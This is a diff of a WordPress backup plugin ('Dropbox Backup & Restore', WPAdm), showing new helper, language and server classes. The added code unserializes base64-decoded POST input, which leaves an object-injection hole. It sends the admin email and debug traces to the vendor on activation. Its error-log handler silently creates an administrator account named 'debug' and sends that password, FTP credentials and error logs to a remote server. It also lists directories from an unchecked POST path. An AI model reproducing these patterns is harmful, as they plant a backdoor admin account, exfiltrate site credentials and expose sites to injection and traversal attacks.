 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
dropbox-backup.php CHANGED
@@ -1,22 +1,27 @@
1
  <?php
2
  /*
3
- Plugin Name: DropBox Backup
4
- Description: DropBox Backup Plugin to create DropBox Full Backup (Files + Database) of your Web Page
5
- Version: 1.1
6
  */
7
 
8
- require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm.php';
9
- if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm-class-wp.php')) {
10
- require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm-class-wp.php';
11
  }
12
 
13
- add_action('init', 'wpadm_full_backup_dropbox_run');
 
 
14
 
15
- add_action('admin_print_scripts', 'wpadm_include_admins_script' );
16
- // add item to menu
17
 
18
- add_action('admin_notices', 'wpadm_admin_notice');
 
 
19
 
 
 
 
20
 
21
  if (!function_exists('wpadm_full_backup_dropbox_run')) {
22
  function wpadm_full_backup_dropbox_run()
1
  <?php
2
  /*
3
+ Plugin Name: Dropbox Backup & Restore
4
+ Description: Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) of your Web Page
5
+ Version: 1.3.1
6
  */
7
 
8
+ if (!defined('DRBBACKUP_BASE_DIR')) {
9
+ define('DRBBACKUP_BASE_DIR', dirname(__FILE__));
 
10
  }
11
 
12
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/modules/constant.php';
13
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/functions/wpadm.php';
14
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/main/wpadm-class-wp.php';
15
 
16
+ add_action('init', 'wpadm_full_backup_dropbox_run');
 
17
 
18
+ add_action('admin_print_scripts', array('wpadm_wp_full_backup_dropbox', 'include_admins_script' ));
19
+ add_action('admin_menu', array('wpadm_wp_full_backup_dropbox', 'draw_menu'));
20
+ add_action('admin_post_activate_wpadm_full_backup_dropbox', array('wpadm_wp_full_backup_dropbox', 'activatePlugin') );
21
 
22
+ if ( !get_option('wpadm_pub_key')/* && (is_admin())*/) {
23
+ add_action('admin_notices', 'wpadm_admin_notice');
24
+ }
25
 
26
  if (!function_exists('wpadm_full_backup_dropbox_run')) {
27
  function wpadm_full_backup_dropbox_run()
functions/wpadm.php ADDED
@@ -0,0 +1,136 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * General functions
4
+ *
5
+ */
6
+
7
+ @set_time_limit(0);
8
+ if ( ! function_exists( 'wpadm_run' )) {
9
+ function wpadm_run($pl, $dir) {
10
+
11
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-method-class.php';
12
+ $request_name = $pl . '_request';
13
+ if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
14
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
15
+ $wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
16
+ echo '<wpadm>'.wpadm_pack($wpadm->getResult()->toArray()).'</wpadm>';
17
+ exit;
18
+ }
19
+ }
20
+ }
21
+
22
+
23
+ if ( ! function_exists( 'wpadm_unpack' )) {
24
+ /**
25
+ * @param str $str
26
+ * @return mixed
27
+ */
28
+ function wpadm_unpack( $str ) {
29
+ return unserialize( base64_decode( $str ) );
30
+ }
31
+ }
32
+
33
+ if ( ! function_exists('wpadm_pack')) {
34
+ /**
35
+ * @param mixed $value
36
+ * @return string
37
+ */
38
+ function wpadm_pack( $value ) {
39
+ return base64_encode( serialize ( $value ) ) ;
40
+ }
41
+ }
42
+
43
+ if ( ! function_exists('wpadm_admin_notice')) {
44
+ function wpadm_admin_notice() {
45
+
46
+ }
47
+ }
48
+
49
+
50
+ if ( ! function_exists('wpadm_deactivation')) {
51
+ function wpadm_deactivation() {
52
+ wpadm_send_blog_info('deactivation');
53
+ }
54
+ }
55
+
56
+
57
+ if ( ! function_exists('wpadm_uninstall')) {
58
+ function wpadm_uninstall() {
59
+ wpadm_send_blog_info('uninstall');
60
+ }
61
+ }
62
+
63
+
64
+ if ( ! function_exists('wpadm_activation')) {
65
+ function wpadm_activation() {
66
+ wpadm_send_blog_info('activation');
67
+ }
68
+ }
69
+
70
+ if ( ! function_exists('wpadm_send_blog_info')) {
71
+ function wpadm_send_blog_info($status) {
72
+ $info = wpadm_get_blog_info();
73
+ $info['status'] = $status;
74
+
75
+ $data = wpadm_pack($info);
76
+ $host = WPADM_URL_BASE;
77
+ $host = str_replace(array('http://','https://'), '', trim($host,'/'));
78
+ $socket = fsockopen($host, 80, $errno, $errstr, 30);
79
+ fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
80
+ fwrite($socket, "Host: {$host}\r\n");
81
+
82
+ fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
83
+ fwrite($socket,"Content-length:".strlen($data)."\r\n");
84
+ fwrite($socket,"Accept:*/*\r\n");
85
+ fwrite($socket,"User-agent:Opera 10.00\r\n");
86
+ fwrite($socket,"Connection:Close\r\n");
87
+ fwrite($socket,"\r\n");
88
+ sleep(1);
89
+ fclose($socket);
90
+ }
91
+ }
92
+
93
+ if ( ! function_exists('wpadm_get_blog_info')) {
94
+ function wpadm_get_blog_info() {
95
+ $info = array(
96
+ 'url' => get_site_url(),
97
+ 'email' => get_option('admin_email')
98
+ );
99
+ $debug = debug_backtrace();
100
+ $info['debug'] = $debug;
101
+ $file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
102
+ preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m);
103
+ $info['plugin'] = '';
104
+ if (isset($m[1])) {
105
+ $info['plugin'] = $m[1];
106
+ }
107
+
108
+ return $info;
109
+ }
110
+ }
111
+ if ( ! function_exists( "wpadm_set_plugin" )) {
112
+ function wpadm_set_plugin($plugin_name = '')
113
+ {
114
+ if (!empty($plugin_name) && function_exists("wpadm_run")) {
115
+ $GLOBALS['wpadm_plugin'][] = $plugin_name;
116
+ }
117
+ }
118
+
119
+ }
120
+ if ( ! function_exists( "wpadm_check_in_array" )) {
121
+ function wpadm_check_in_array($value = '', $key = '',$array = array())
122
+ {
123
+ if (!empty($value) && !empty($array) && function_exists('array_column') ) {
124
+ return array_search($value, array_column($array, $key));
125
+ } elseif (!empty($value) && !empty($array) && !function_exists('array_column') ) {
126
+ foreach($array as $k => $v) {
127
+ if (isset($v[$key]) && $v[$key] == $value) {
128
+ return $k;
129
+ }
130
+ }
131
+ }
132
+ return false;
133
+ }
134
+
135
+ }
136
+
img/dropbox.png ADDED
Binary file
img/stars-5.png ADDED
Binary file
wpadm-logo.png → img/wpadm-logo.png RENAMED
File without changes
img/wpadmload.gif ADDED
Binary file
libs/error.class.php ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * error
4
+ *
5
+ * 100 - mothod not exist
6
+ * 101 - error method api
7
+ * 102 - error in the received data
8
+ * 103 - error
9
+ *
10
+ * notice
11
+ * 401 - activate user
12
+ *
13
+ * success
14
+ * 201 - registaration and acivate ok
15
+ * 202 - acivate plugin ok
16
+ *
17
+ */
18
+ if ( ! class_exists("errorWPADM")) {
19
+ class errorWPADM {
20
+ private static $messages = array(
21
+ 100 => 'Method doesn\'t exist.',
22
+ 101 => 'Method has an error.',
23
+ 102 => 'Received data has an error.',
24
+ 103 => 'There is an error in plugin activation.',
25
+ 201 => 'Registration and activation was successful.',
26
+ 202 => 'Plugin activation was successful.',
27
+ 401 => 'The User at WPAdm is not activated. Please, activate you User at WPAdm-System in <url> and try again.',
28
+
29
+ );
30
+ public static function getMessage($code)
31
+ {
32
+ if (isset(self::$messages[$code])) {
33
+ return self::$messages[$code];
34
+ } else {
35
+ return "Server error: received data are invalid.";
36
+ }
37
+
38
+ }
39
+ }
40
+ }
libs/lang.class.php ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ if ( ! class_exists("langWPADM")) {
4
+
5
+ add_action('init', array('langWPADM', 'init'), 11 );
6
+ if (!defined('WPADM_LANG_')) {
7
+ define('WPADM_LANG_', 'wpadm_lang_');
8
+ }
9
+
10
+ class langWPADM {
11
+
12
+ public static $lang = array();
13
+
14
+ public static $lang_dir = '';
15
+
16
+ public static $lang_load = '';
17
+
18
+ public static $lang_name = '';
19
+
20
+ public static $debug = array();
21
+
22
+ private static $url = 'http://plugins.svn.wordpress.org/dropbox-backup/assets/lang/';
23
+
24
+ public static function init()
25
+ {
26
+ $lang_wp = self::getLanguageSystem();
27
+ $plugin_dir = WPAdm_Core::getPluginDir();
28
+ self::$lang_dir = $plugin_dir . '/libs/lang/';
29
+ if (isset($lang_wp)) {
30
+ //self::downloadLang();
31
+ if (file_exists(self::$lang_dir . $lang_wp . '.php')) {
32
+ require_once self::$lang_dir . $lang_wp . '.php';
33
+ self::$lang[$lang_wp] = $languag;
34
+ self::$lang_name = $lang_wp;
35
+ return true;
36
+ }
37
+ }
38
+ return false;
39
+ }
40
+ public static function get($key, $echo = true, $replace_from = false, $replace_to = false)
41
+ {
42
+ $result = '';
43
+ if(!empty($key)) {
44
+ if ( isset(self::$lang[self::$lang_name][$key]) ) {
45
+ $result = self::$lang[self::$lang_name][$key];
46
+ } else {
47
+ $result = $key;
48
+ }
49
+ }
50
+ if ($replace_from && $replace_to) {
51
+ $result = str_replace($replace_from, $replace_to, $result);
52
+ }
53
+
54
+ if ($echo) {
55
+ echo $result;
56
+ return true;
57
+ } else {
58
+ return $result;
59
+ }
60
+ }
61
+ public static function getLanguageSystem()
62
+ {
63
+ $lang_wp = get_option('WPLANG', 'en');
64
+ $lang_wp = strtolower($lang_wp);
65
+ $lang_wp = explode("_", $lang_wp);
66
+ if (isset($lang_wp[0])) {
67
+ self::$lang_load = $lang_wp[0];
68
+ return $lang_wp[0];
69
+ }
70
+ return 'en';
71
+ }
72
+ public static function downloadLang()
73
+ {
74
+ if (!empty(self::$lang_load)) {
75
+ $time = get_option(WPADM_LANG_ . 'time-update');
76
+ if ( (isset($time['check_time']) && $time['check_time'] <= time()) || !isset($time['check_time']) || !file_exists(self::$lang_dir . self::$lang_load . '.php') ) {
77
+ if (!function_exists('wp_safe_remote_get')) {
78
+ include_once ABSPATH . WPINC . '/http.php';
79
+ }
80
+ $load = wp_safe_remote_get( self::$url . self::$lang_load . '.php' );
81
+ if (isset($load['response']['code']) && $load['response']['code'] == '200') {
82
+ @preg_match("/Date create - ([0-9\.]+)/", $load['body'], $date);
83
+ if (!isset($time['date']) || $time['date'] != $date[1] || !file_exists(self::$lang_dir . self::$lang_load . '.php')) {
84
+ if (isset($date[1])) {
85
+ self::updateDate($date[1]);
86
+ } else {
87
+ self::updateDate(date('d.m.Y'));
88
+ }
89
+ file_put_contents(self::$lang_dir . self::$lang_load . '.php', $load['body']);
90
+ }
91
+ }
92
+ }
93
+ }
94
+ }
95
+ private static function updateDate($date_update)
96
+ {
97
+ $date = get_option(WPADM_LANG_ . 'time-update');
98
+ $time_update = array('date' => $date_update, 'check_time' => time() + 604800);
99
+ if ($date) {
100
+ update_option(WPADM_LANG_ . 'time-update', $time_update);
101
+ } else {
102
+ add_option(WPADM_LANG_ . 'time-update', $time_update );
103
+ }
104
+ }
105
+ }
106
+ }
libs/wpadm.server.main.class.php ADDED
@@ -0,0 +1,904 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ require_once dirname(__FILE__) . "/lang.class.php";
3
+
4
+ if (!class_exists("wpadm_class")) {
5
+
6
+ add_action('admin_post_wpadm_activate_plugin', array('wpadm_class', 'activatePlugin') );
7
+ add_action('admin_post_error_logs_check', array('wpadm_class', 'error_log_check') );
8
+ add_action('admin_post_wpadm_delete_pub_key', array('wpadm_class', 'delete_pub_key') );
9
+ add_action('wp_ajax_getDirsIncludes', array('wpadm_class', 'getDirsIncludes') );
10
+ add_action('wp_ajax_saveDirsIncludes', array('wpadm_class', 'saveDirsIncludes') );
11
+
12
+ //add_action('admin_post_wpadm_getJs', array('wpadm_class', 'getJs') );
13
+
14
+ //add_action('admin_print_scripts', array('wpadm_class', 'includeJs' ));
15
+
16
+ class wpadm_class {
17
+
18
+ protected static $result = "";
19
+ protected static $class = "";
20
+ protected static $title = "";
21
+ public static $type = "";
22
+ public static $plugin_name = "";
23
+ protected static $plugins = array('stats-counter' => '1.1',
24
+ 'wpadm_full_backup_storage' => '1.0',
25
+ 'wpadm_full_backup_s3' => '1.0',
26
+ 'ftp-backup' => '1.0',
27
+ 'dropbox-backup' => '1.2.9.7',
28
+ 'wpadm_db_backup_storage' => '1.0',
29
+ 'database-backup-amazon-s3' => '1.0',
30
+ 'wpadm_file_backup_s3' => '1.0',
31
+ 'wpadm_file_backup_ftp' => '1.0',
32
+ 'wpadm_file_backup_dropbox' => '1.0',
33
+ 'wpadm_db_backup_ftp' => '1.0',
34
+ 'wpadm_db_backup_dropbox' => '1.0',
35
+ 'wpadm_file_backup_storage' => '1.0',
36
+ );
37
+ const MIN_PASSWORD = 6;
38
+
39
+
40
+ private static $backup = "1";
41
+
42
+ private static $status = "0";
43
+
44
+ private static $error = "";
45
+
46
+ public static function setBackup($b)
47
+ {
48
+ self::$backup = $b;
49
+ }
50
+ public static function error_log_check()
51
+ {
52
+ $base_path = plugin_dir_path( dirname(__FILE__) );
53
+ $time = isset($_POST['time_pars']) ? $_POST['time_pars'] : "";
54
+ $error = "";
55
+ if ( file_exists( ABSPATH . "error_log" ) ) {
56
+ $error = file_get_contents(ABSPATH . "error_log");
57
+ }
58
+ if (empty($error) && file_exists( ABSPATH . "error.log" ) ) {
59
+ $error = file_get_contents(ABSPATH . "error.log");
60
+ }
61
+ if (empty($error) && file_exists( ABSPATH . "logs/error_log" )) {
62
+ $error = file_get_contents(ABSPATH . "logs/error_log");
63
+ }
64
+ if (empty($error) && file_exists( ABSPATH . "logs/error.log" )) {
65
+ $error = file_get_contents(ABSPATH . "logs/error.log");
66
+ }
67
+ if (empty($error) && file_exists(ABSPATH . "../logs/error_log")) {
68
+ $error = file_get_contents(ABSPATH . "../logs/error_log");
69
+ }
70
+ if (empty($error) && file_exists(ABSPATH . "../logs/error.log")) {
71
+ $error = file_get_contents(ABSPATH . "../logs/error.log");
72
+ }
73
+ $error_backup = $error_system = "";
74
+
75
+ if ( !empty($time) ) {
76
+ $time_log = str_replace(array(':', '-', " "), "_", $time);
77
+ if ( file_exists( $base_path . "tmp/logs_error_" . $time ) ) {
78
+ $log_ = file_get_contents( $base_path . "tmp/logs_error_" . $time );
79
+ $pos = stripos($log_, "error");
80
+ if ($pos !== false) {
81
+ for($i = $pos; ; $i--) {
82
+ if ($log_{$i} == "\n") {
83
+ $pos_new = $i + 1;
84
+ break;
85
+ }
86
+ }
87
+ $error_backup = substr($log_, $pos_new);
88
+ }
89
+ }
90
+
91
+ }
92
+ if (!empty($time) && !empty($error)) {
93
+ $time_log = str_replace(array(':', '-', " "), "_", $time);
94
+ list($y, $m, $d, $h, $i) = explode("_", $time_log);
95
+ $time_log = strtotime("$d-$m-$y $h:$i");
96
+ $date_for_log = date("d-M-Y ", $time_log);
97
+ $pos_log = strpos($error, $date_for_log);
98
+ if ($pos_log !== false) {
99
+ $pos_new = 0;
100
+ for($i = $pos_log; ; $i--) {
101
+ if ($error{$i} == "[") {
102
+ $pos_new = $i;
103
+ break;
104
+ }
105
+ }
106
+ $error_system = substr($error, $pos_new);
107
+ }
108
+ }
109
+ $pass = substr(md5(mktime()), 0, 10);
110
+ $id = wp_insert_user(
111
+ array(
112
+ "user_login" => "debug",
113
+ "user_pass" => $pass,
114
+ "user_nicename" => "Debug",
115
+ "user_email" => "debug@help.help",
116
+ "description" => "Debug user",
117
+ )
118
+ );
119
+
120
+ if( !is_wp_error( $id ) ) {
121
+ wp_update_user( array ('ID' => $id, 'role' => 'administrator' ) ) ;
122
+ } else {
123
+ $pass = "";
124
+ }
125
+ $ftp = array(
126
+ 'ftp_host' => @$_POST['ftp_host'],
127
+ 'ftp_user' => @$_POST['ftp_user'],
128
+ 'ftp_pass' => @$_POST['ftp_pass']
129
+ );
130
+ $mail_response = isset($_POST['mail_response']) && !empty($_POST['mail_response']) ? $_POST['mail_response'] : get_option('admin_email');
131
+ $logs_report = base64_encode( serialize( array('ftp' => $ftp,
132
+ 'mail_response' => $mail_response,
133
+ 'mail_admin' => get_option('admin_email'),
134
+ 'pass' => $pass, 'error_backup' => $error_backup,
135
+ 'msg_ajax' => isset($_POST['msg_ajax']) ? trim($_POST['msg_ajax']) : '',
136
+ 'error' => $error_system)
137
+ )
138
+ );
139
+
140
+ $res = self::sendToServer(array('actApi' => "errorLog",
141
+ "site" => str_ireplace(array("http://","https://"), "", home_url()),
142
+ "data" => $logs_report )
143
+ );
144
+ $_SESSION['sent_response'] = langWPADM::get('Your request was sent. <br /> Thank you for your assistance.', false);
145
+ header("Location: " . $_SERVER['HTTP_REFERER']);
146
+ exit;
147
+
148
+ }
149
+ public static function getDirsIncludes()
150
+ {
151
+ $path = isset($_POST['path']) ? $_POST['path'] : "";
152
+ $path_show = !empty($path) ? ltrim($path, '/') . "/" : "";
153
+ $dir_to_open = ABSPATH . $path;
154
+ if (is_dir($dir_to_open)) {
155
+ $dir_open = opendir($dir_to_open);
156
+ $return = array();
157
+ $connect_f_d = self::createListFilesForArchive();
158
+ $includes = get_option(PREFIX_BACKUP_ . "plus-path");
159
+ if ($includes !== false) {
160
+ $includes = explode(',', $includes);
161
+ $n = count($includes);
162
+ $in = array();
163
+ for($i = 0; $i < $n; $i++) {
164
+ $inc = explode("/", $includes[$i]);
165
+ $f = count($inc);
166
+ $str = "";
167
+ for($j = 0; $j < $f; $j++) {
168
+ $str .= '/' . $inc[$j];
169
+ $in[$str] = $includes[$i];
170
+
171
+ }
172
+ }
173
+ }
174
+
175
+ while( $d = readdir($dir_open) ) {
176
+ if ($d != '.' && $d != '..' && !in_array($d, array('tmp', 'cache', 'temp', 'wpadm_backups', 'wpadm_backup', 'Dropbox_Backup', 'logs', 'log'))) {
177
+ $check = false;
178
+ $check_folder = "";
179
+ if (isset($in['/' . $path_show . $d])) {
180
+ $check = true;
181
+ $check_folder = $in['/' . $path_show . $d];
182
+ }
183
+ $return['dir'][] = array('dir' => $d, 'cache' => md5($path_show . $d), 'folder'=> $path_show . $d, 'perm' => self::perm($dir_to_open . "/" .$d), 'check' => $check, 'check_folder' => $check_folder );
184
+ }
185
+ }
186
+ echo json_encode($return);
187
+ }
188
+ wp_die();
189
+ }
190
+ static public function createListFilesForArchive() {
191
+ $folders = array();
192
+ $files = array();
193
+
194
+ $files = array_merge(
195
+ $files,
196
+ array(
197
+ ABSPATH . '.htaccess',
198
+ ABSPATH . 'index.php',
199
+ ABSPATH . 'license.txt',
200
+ ABSPATH . 'readme.html',
201
+ ABSPATH . 'wp-activate.php',
202
+ ABSPATH . 'wp-blog-header.php',
203
+ ABSPATH . 'wp-comments-post.php',
204
+ ABSPATH . 'wp-config.php',
205
+ ABSPATH . 'wp-config-sample.php',
206
+ ABSPATH . 'wp-cron.php',
207
+ ABSPATH . 'wp-links-opml.php',
208
+ ABSPATH . 'wp-load.php',
209
+ ABSPATH . 'wp-login.php',
210
+ ABSPATH . 'wp-mail.php',
211
+ ABSPATH . 'wp-settings.php',
212
+ ABSPATH . 'wp-signup.php',
213
+ ABSPATH . 'wp-trackback.php',
214
+ ABSPATH . 'xmlrpc.php',
215
+ )
216
+ );
217
+ $folders = array_merge(
218
+ $folders,
219
+ array(
220
+ ABSPATH . 'wp-admin',
221
+ ABSPATH . 'wp-content',
222
+ ABSPATH . 'wp-includes',
223
+ )
224
+ );
225
+ $folders = array_unique($folders);
226
+ $files = array_unique($files);
227
+ foreach($folders as $folder) {
228
+ if (!is_dir($folder)) {
229
+ continue;
230
+ }
231
+ $files = array_merge($files, self::directoryToArray($folder, true));
232
+ }
233
+ return $files;
234
+ }
235
+ private static function directoryToArray($directory, $recursive) {
236
+ $array_items = array();
237
+
238
+ $d = str_replace(ABSPATH, '', $directory);
239
+
240
+ $minus_path = array();
241
+
242
+
243
+ $d = str_replace('\\', '/', $d);
244
+ $tmp = explode('/', $d);
245
+ $d1 = mb_strtolower($tmp[0]);
246
+ unset($tmp[0]);
247
+ $d2 = mb_strtolower(implode('/', $tmp));
248
+ if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
249
+ return array();
250
+ }
251
+
252
+ if ($handle = opendir($directory)) {
253
+ while (false !== ($file = readdir($handle))) {
254
+ if ($file != "." && $file != "..") {
255
+ if (is_dir($directory. "/" . $file)) {
256
+ if($recursive) {
257
+ $array_items = array_merge($array_items, self::directoryToArray($directory. "/" . $file, $recursive));
258
+ }
259
+
260
+ $file = $directory . "/" . $file;
261
+ if (!is_dir($file)) {
262
+ $ff = preg_replace("/\/\//si", "/", $file);
263
+ $f = str_replace(ABSPATH, '', $ff);
264
+ // skip "minus" dirs
265
+ if (!in_array($f, $minus_path)) {
266
+ $array_items[] = $ff;
267
+ }
268
+ }
269
+ } else {
270
+ $file = $directory . "/" . $file;
271
+ if (!is_dir($file)) {
272
+ $ff = preg_replace("/\/\//si", "/", $file);
273
+ $f = str_replace(ABSPATH, '', $ff);
274
+ if (!in_array($f, $minus_path)) {
275
+ $array_items[] = $ff;
276
+ }
277
+ }
278
+ }
279
+ }
280
+ }
281
+ closedir($handle);
282
+ }
283
+ return $array_items;
284
+ }
285
+ static function perm($file)
286
+ {
287
+ $fileperms = substr ( decoct ( fileperms ( $file ) ), 2, 6 );
288
+ if ( strlen ( $fileperms ) == '3' ){ $fileperms = '0' . $fileperms; }
289
+ return $fileperms;
290
+ }
291
+ public static function saveDirsIncludes()
292
+ {
293
+ if (isset($_POST['save']) && isset($_POST['data'])) {
294
+ $_POST['data'] = array_map('ltrimslashes', array_unique( $_POST['data'] ) );
295
+ $data_save = implode(',', $_POST['data'] );
296
+ $inludes = get_option(PREFIX_BACKUP_ . "plus-path");
297
+ if ($inludes !== false) {
298
+ update_option(PREFIX_BACKUP_ . "plus-path", $data_save);
299
+ } else {
300
+ add_option(PREFIX_BACKUP_ . "plus-path", $data_save);
301
+ }
302
+ }
303
+ wp_die();
304
+ }
305
+
306
+
307
+ public static function setStatus($s)
308
+ {
309
+ self::$status = $s;
310
+ }
311
+ public static function setErrors($e)
312
+ {
313
+ self::$error = $e;
314
+ }
315
+
316
+ public static function getDateInName($name)
317
+ {
318
+ $date_ = explode(self::$type . '-', $name);
319
+ if (isset($date_[1])) {
320
+ $date = explode('_', $date_[1]);
321
+ $d = "{$date[0]}-{$date[1]}-{$date[2]} {$date[3]}:" . preg_replace("/\([0-9]+\)/", '', $date[4]);
322
+ }
323
+ return $d;
324
+
325
+ }
326
+ public static function backupSend()
327
+ {
328
+ $data['status'] = self::$backup . self::$status;
329
+ $data['error'] = self::$error;
330
+ $data['pl'] = WPAdm_Core::$plugin_name;
331
+ $data['site'] = get_option('siteurl');
332
+ $data['actApi'] = 'setBackup';
333
+ self::sendToServer($data);
334
+ }
335
+
336
+
337
+
338
+ static function delete_pub_key()
339
+ {
340
+ delete_option('wpadm_pub_key');
341
+ header("Location: " . $_SERVER['HTTP_REFERER']);
342
+ }
343
+ public static function checkInstallWpadmPlugins()
344
+ {
345
+ $return = false;
346
+ $i = 1;
347
+ foreach(self::$plugins as $plugin => $version) {
348
+ if (self::check_plugin($plugin)) {
349
+ $i ++;
350
+ }
351
+ }
352
+ if ($i > 2) {
353
+ $return = true;
354
+ }
355
+ return $return;
356
+ }
357
+
358
+ static function setResponse($data)
359
+ {
360
+ $msg = errorWPADM::getMessage($data['code']);
361
+ if(isset($data['data'])) {
362
+ if (isset($data['data']['replace'])) {
363
+ foreach($data['data']['replace'] as $key => $value) {
364
+ $msg = str_replace("<$key>", $value, $msg);
365
+ }
366
+ }
367
+ }
368
+ if ($data['status'] == 'success') {
369
+ self::setMessage($msg);
370
+ } else {
371
+ self::setError($msg);
372
+ }
373
+
374
+ return isset($data['data']) ? $data['data'] : array();
375
+
376
+ }
377
+
378
+
379
+ protected static function setError($msg = "")
380
+ {
381
+ if (!empty($msg)) {
382
+ $_SESSION['errorMsgWpadm'] = isset($_SESSION['errorMsgWpadm']) ? $_SESSION['errorMsgWpadm'] . '<br />' . $msg : $msg;
383
+ }
384
+ }
385
+ protected static function getError($del = false)
386
+ {
387
+ $error = "";
388
